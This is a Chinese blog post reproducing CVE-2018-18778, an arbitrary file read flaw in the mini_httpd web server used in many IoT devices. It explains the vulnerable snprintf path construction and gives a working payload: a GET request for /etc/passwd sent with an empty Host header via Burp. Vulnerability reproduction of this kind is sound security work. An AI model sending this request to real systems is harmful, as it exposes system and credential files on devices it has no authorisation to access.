CYH博客CYH博客

天行健,
君子以自强不息。

mini_httpd任意文件读取漏洞复现(CVE-2018-18778)

Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。

在mini_httpd开启虚拟主机模式的情况下,用户请求'http://HOST/FILE'将会访问到当前目录下的'HOST/FILE'文件。




<font size="4">(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );</font>



见上述代码,分析如下:

- 当HOST='example.com'、FILE='index.html'的时候,上述语句结果为'example.com/index.html',文件正常读取。


- 当HOST为空、FILE='etc/passwd'的时候,上述语句结果为'/etc/passwd'。


后者被作为绝对路径,于是读取到了'/etc/passwd',造成任意文件读取漏洞。


漏洞复现


打开目标网站。


mini_httpd任意文件读取漏洞复现(CVE-2018-18778)(图1)
使用burp抓包, Ctrl r发送到重发器,修改数据包,文件读取成功。

mini_httpd任意文件读取漏洞复现(CVE-2018-18778)(图2)
payload


发送请求是将Host置空,PATH的值是文件绝对路径




GET /etc/passwd HTTP/1.1
Host: Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: close</font>



未经允许不得转载:CYH博客 » mini_httpd任意文件读取漏洞复现(CVE-2018-18778)
分享到: 更多 (0)

CYH博客 带给你想要内容

联系我